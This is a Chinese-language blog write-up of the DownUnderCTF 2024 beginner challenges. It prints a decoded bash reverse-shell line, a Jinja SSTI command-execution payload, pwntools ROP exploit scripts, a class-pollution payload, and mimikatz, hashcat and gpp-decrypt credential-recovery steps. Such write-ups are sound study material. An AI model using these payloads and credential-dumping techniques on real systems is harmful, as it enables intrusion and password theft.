DUCTF 2024 EICS1 beginner wp

所有begginer栏目题目的wp（迫真）

其他单方向的或多或少都有搞不出来的题目，对于彩笔（我）来说能打好beginner的基础就不错了

队伍名：EICS1
分数：1811 points
排名：227th place

队伍成员
LamentXU
Jerrythepro123
Dragonkeep
6s6
sanmu
Aly1xbot
ftps3rver

Beginner

tldr please summarise
parrot the emu
Sun Zi's Perfect Math
zoo feedback form
shufflebox
number mashing
Intercepted Transmission
vector overflow
yawa
discord
survey
co2
Baby's First Forensics
SAM I AM
offtheramp
badpolicy

Beginner

tldr please summarise

下载，发现文档中有隐写

拖入记事本中

访问网站https://pastebin.com/raw/ysYcKmbu

base64解密得：bash -i >& /dev/tcp/261.263.263.267/DUCTF{chatgpt_I_n33d_2_3scap3} 0>&1

DUCTF{chatgpt_I_n33d_2_3scap3}

parrot the emu

下载附件，审计代码

一眼ssti，甚至无过滤

poc一下：

成立，直接getflag

payload: {{''.class.base.subclasses()[133].init.globals['builtins']['eval']("import('os').popen('cat flag').read()")}}

DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}

Sun Zi's Perfect Math

老外的比赛里看到中国文化，泪目了

第一关大致说的就是孙子有1000-1100个兵，设为x

满足

x≡2(mod3)
x≡4(mod5)
x≡5(mod7)

直接上脚本

for i in range(1000, 1100):
    if i % 3 == 2 and i % 5 == 4 and i % 7 == 5:
        print(i)

输出1034，输入answer进入下一关

一眼中国剩余定理

上脚本一把梭

import gmpy2, binascii
e = 3
c1 = 105001824161664003599422656864176455171381720653815905925856548632486703162518989165039084097502312226864233302621924809266126953771761669365659646250634187967109683742983039295269237675751525196938138071285014551966913785883051544245059293702943821571213612968127810604163575545004589035344590577094378024637
c2 = 31631442837619174301627703920800905351561747632091670091370206898569727230073839052473051336225502632628636256671728802750596833679629890303700500900722642779064628589492559614751281751964622696427520120657753178654351971238020964729065716984136077048928869596095134253387969208375978930557763221971977878737
c3 = 64864977037231624991423831965394304787965838591735479931470076118956460041888044329021534008265748308238833071879576193558419510910272917201870797698253331425756509041685848066195410586013190421426307862029999566951239891512032198024716311786896333047799598891440799810584167402219122283692655717691362258659
n1 = 147896270072551360195753454363282299426062485174745759351211846489928910241753224819735285744845837638083944350358908785909584262132415921461693027899236186075383010852224067091477810924118719861660629389172820727449033189259975221664580227157731435894163917841980802021068840549853299166437257181072372761693
n2 = 95979365485314068430194308015982074476106529222534317931594712046922760584774363858267995698339417335986543347292707495833182921439398983540425004105990583813113065124836795470760324876649225576921655233346630422669551713602423987793822459296761403456611062240111812805323779302474406733327110287422659815403
n3 = 95649308318281674792416471616635514342255502211688462925255401503618542159533496090638947784818456347896833168508179425853277740290242297445486511810651365722908240687732315319340403048931123530435501371881740859335793804194315675972192649001074378934213623075830325229416830786633930007188095897620439987817
M = n1*n2*n3
m1 = M//n1
m2 = M//n2
m0 = M//n3
t1 = c1*m1*gmpy2.invert(m1,n1)
t2 = c2*m2*gmpy2.invert(m2,n2)
t0 = c3*m0*gmpy2.invert(m0,n3)
x = (t1+t2+t0) % M
m=gmpy2.iroot(x,e)[0]
print(m)
print(binascii.unhexlify(hex(m)[2:]))

DUCTF{btw_y0u_c4n_als0_us3_CRT_f0r_p4rt14l_fr4ct10ns}

zoo feedback form

下载代码，审计

一眼xxe

抓包，改数据包为标准的xxe漏洞利用payload即可

DUCTF{emU_say$_he!!o_ho!@_ci@0}

shufflebox

下载开始源码，分析后发现就是一个乱序加密

与这题差不多: https://www.cnblogs.com/LAMENTXU/articles/18250981

直接对着两个字符串瞪出flag

aaaabbbbccccdddd -> ccaccdabdbdbbada
abcdabcdabcdabcd -> bcaadbdcdbcdacab
???????????????? -> owuwspdgrtejiiud

过程就是，从第一个字符串已知加密后第一个字符为c，而c只在第一个字符串的9-12位出现，对照第二个字符串中加密后的第一个字符为b，而b只在加密前的第2，6，10，14位出现，此处只有10属于9-12

由此可得：加密时，第10个字符会被移动到第1位，即：?????????o?????? -> owuwspdgrtejiiud

以此类推解出flag

DUCTF{udiditgjwowsuper}

number mashing

无壳，64位，IDA启动！

审计得，核心逻辑为输入两个数字，他们不为0，v5不等于1，且v4/v5等于v4

由于int得取值范围是[-2^32, 2^32-1]那么2147483647刚好为最大的int，可得2147483648/-1=-2147483648此数字为合法的int

然后就有一个无法解释的诡异现象，即2147483648=-2147483648（结果溢出）

想知道原因的可以去：https://blog.csdn.net/weixin_42779370/article/details/102829210

得: v4=2147483648; v5=-1

DUCTF{w0w_y0u_just_br0ke_math!!}(笑)

Intercepted Transmissions

可得

ccir_476_dict = {
    '1000111': 'A', '1110010': 'B', '0011101': 'C', '1010011': 'D', 
    '1010110': 'E', '0011011': 'F', '0110101': 'G', '1101001': 'H', 
    '1001101': 'I', '0010111': 'J', '0011110': 'K', '1100101': 'L', 
    '0111001': 'M', '1011001': 'N', '1110001': 'O', '0101101': 'P', 
    '0101110': 'Q', '1010101': 'R', '1001011': 'S', '1110100': 'T', 
    '1001110': 'U', '0111100': 'V', '0100111': 'W', '0111010': 'X', 
    '0101011': 'Y', '1100011': 'Z', '1111000': '<CR>', '1101100': '<LF>',
    '1011010': '<LTRS>', '0110110': '<FIGS>', '1011100': ' ','1101010':'<BL>'
}

# 给定的二进制字符串
binary_string = "101101001101101101001110100110110101110100110100101101101010110101110010110100101110100111001101100101101101101000111100011110011011010101011001011101101010010111011100100011110101010110110101011010111001011010110100101101101010110101101011001011010011101110001101100101110101101010110011011100001101101101101010101101101000111010110110010111010110101100101100110111101000101011101110001101101101001010111001011101110001010111001011100011011"

# 将二进制字符串分割为7位的块
blocks = [binary_string[i:i+7] for i in range(0, len(binary_string), 7)]
print(blocks)
# 查找每个块的对应字符
decoded_chars = [ccir_476_dict.get(block, '?') for block in blocks]

# 输出解密后的字符串
decoded_string = ''.join(decoded_chars)
print("Decoded string:", decoded_string)

输出：HHTHE QUPKKRSS ARE HELD QN FRCQLITY HQQOQQF

对照表格解码即可，此处注意意为切换到图中得CHARACTER CASE；意为切换到FIGURE CASE

DUCTF{##TH3 QU0KK4BELLS AR3 H3LD 1N F4C1LITY #11911!}

vector overflow

找vector地址(DUCTFAAAAAAAAAAA)，再加p64（vector地址）即可

from pwn import *             
address='2024.ductf.dev'
port='30013'

p=remote(address,port) #laczenie online

PATTERN=10*b'A'
v_start=0x4051e0
v_end=v_start+5
payload = b"DUCTF\x00"+PATTERN+p64(v_start)+p64(v_end)
p.sendline(payload)

p.interactive()

DUCTF{y0u_pwn3d_th4t_vect0r!!}

yawa

from pwn import *

io=remote("2024.ductf.dev", 30010)
#io=process("./real")
def name(name):
        io.recvuntil("> ")
        io.sendline("1")
        io.sendline(name)

def hello():
        io.recvuntil("> ")
        io.sendline("2")
        print io.recvuntil("P"*7)
        #return u64(io.recv(8))

name("A"*0x51+"P"*7)
hello()
canary=u64(io.recv(8))-0x0a
print hex(canary)

name("A"*0x60+"P"*7)
hello()
io.recv(1)
libc_addr=(u64(io.recv(6)+2*"\x00"))+48
libc_addr=libc_addr-0x29dc0
print hex(libc_addr)
ret=libc_addr+0x0000000000029139
system=libc_addr+0x50d70
pop_rdi=libc_addr+0x000000000002a3e5
bin_sh=libc_addr+0x1d8678
name("A"*0x58+p64(canary)+"A"*0x8+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system))
io.sendline("3")
io.interactive()

DUCTF{Hello,AAAAAAAAAAAAAAAAAAAAAAAAA}

discord

第一部分在#team-search：DUCTF{f1r57
第二部分在#opt-in-updates：_0f_m4ny}
DUCTF{f1r57_0f_m4ny}

survey

问卷题，做就完了

DUCTF{hop3_u_had_fun}

co2

python原型链污染

审计代码，快进到：

发现根目录下能直接污染到flag值（笑）

根目录下

{
  "__init__": {
    "__globals__": {
"flag":"true"
    }
  }
}

直接设置flag为true，访问/get_flag即可

DUCTF{cl455_p0lluti0n_ftw}

Baby's First Forensics

下载，随便点开一个html包

发现header中直接就有工具名称和版本

DUCTF{Nikto_2.1.6}

SAM I AM

mimikatz+hashcat一把梭

lsadump::sam /sam:sam.bak /system:system.bak

直接出administrator的hash：476b4dddbbffde29e739b618580adb1e

hashcat跑就完了o(￣▽￣)o

将476b4dddbbffde29e739b618580adb1e写入1.ntlm

hashcat --force -m 1000 1.ntlm /usr/share/wordlists/rockyou.txt

DUCTF{!checkerboard1}

offtheramp

exiftool直接出经纬度

google地图看就完了

DUCTF{Olivers_Hill_Boat_Ramp}

badpolicy

一眼组策略，直接找cpassword

发现在\badpolicies\rebels.ductf\Policies{B6EF39A3-E84F-4C1D-A032-00F042BE99B5}\Machine\Preferences\Groups\groups.xml中

gpp-decrypt一把梭

gpp-decrypt B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2

DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}

posted @ 2024-07-07 18:20 LamentXU 阅读(82) 评论(0) 编辑收藏举报

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LamentXU

CTF FOR FUN!